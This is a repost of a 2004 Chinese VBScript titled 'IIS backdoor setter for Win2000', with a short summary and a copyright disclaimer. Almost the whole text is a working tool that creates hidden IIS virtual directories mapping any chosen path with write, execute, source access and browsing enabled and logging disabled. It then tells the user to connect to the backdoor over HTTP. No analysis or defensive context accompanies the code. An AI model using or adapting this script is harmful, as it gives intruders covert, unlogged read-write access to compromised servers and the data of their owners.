IIS后门设置器 FOR WIN2000

2004-9-29 20:05 534 0

摘要: help1="IIS后门设置器 FOR WIN2000 BY 动鲨 3月3号2004 年"help2="请输入正确的虚拟目录名称和映射的路径,格式如下"help3=" cscript.exe iis....

关键词： Wscript echo VirDir 目录 help truemyDir strVRName lhxy myDir 名称

help1="IIS后门设置器 FOR WIN2000 BY 动鲨 3月3号2004 年"help2="请输入正确的虚拟目录名称和映射的路径,格式如下"help3=" cscript.exe iis.vbs 虚拟目录的名称映射的路径"help4="例如: cscript.exe iis.vbs lh e:\" set Args = Wscript.Argumentsif args.count < 2 thenwscript.echo help1wscript.echo ""wscript.echo help2wscript.echo ""wscript.echo help3wscript.echo ""wscript.echo help4wscript.quitend if strVRName=args(0) ''虚拟目录名称strRootPath=args(1) ''虚拟目录路径 Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root")For each VR in checkVirtualDirif VR.Name="lhxy" Thenfoundt ="yes"elsefoundt= "no"End IfNext if foundt ="yes" thenwscript.echo "发现已经创建了lhxy目录，正在设置自定义的虚拟目录"creatvdirelsewscript.echo "正在创建lhxy目录，以及自定义文件夹，请等待！"creatlhxycreatvdirend if wscript.echo "你创建的虚拟目录名称是"& strVRName &"，映射的文件夹是 " & strRootPath &"。"wscript.echo "请访问http://IP/lhxy/"& strVRName &"/ 来连接后门!"wscript.echo "恭喜!后门设置全部完成!" sub creatlhxy()Set objDir=GetObject("IIS://LocalHost/W3SVC/1/Root") Set myDir=objDir.Create("IISWebVirtualDir","lhxy")myDir.AccessRead=truemyDir.DefaultDoc=mydir.DefaultDocmyDir.AppIsolated=0myDir.AccessExecute=true myDir.DontLog=truemyDir.AccessSource=truemyDir.EnableDirBrowsing=truemyDir.setinfoend subsub creatvdir()Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/lhxy")Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)VirDir.AccessRead=trueVirDir.Path=strRootPathVirDir.DefaultDoc=""VirDir.AccessExecute=trueVirDir.AccessWrite=trueVirDir.AccessSource=true VirDir.AppIsolated=0 VirDir.DontLog=true VirDir.EnableDirBrowsing=true VirDir.appcreate 0 VirDir.CreateProcessAsUser=0VirDir.setInfoend subwscript.quit

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除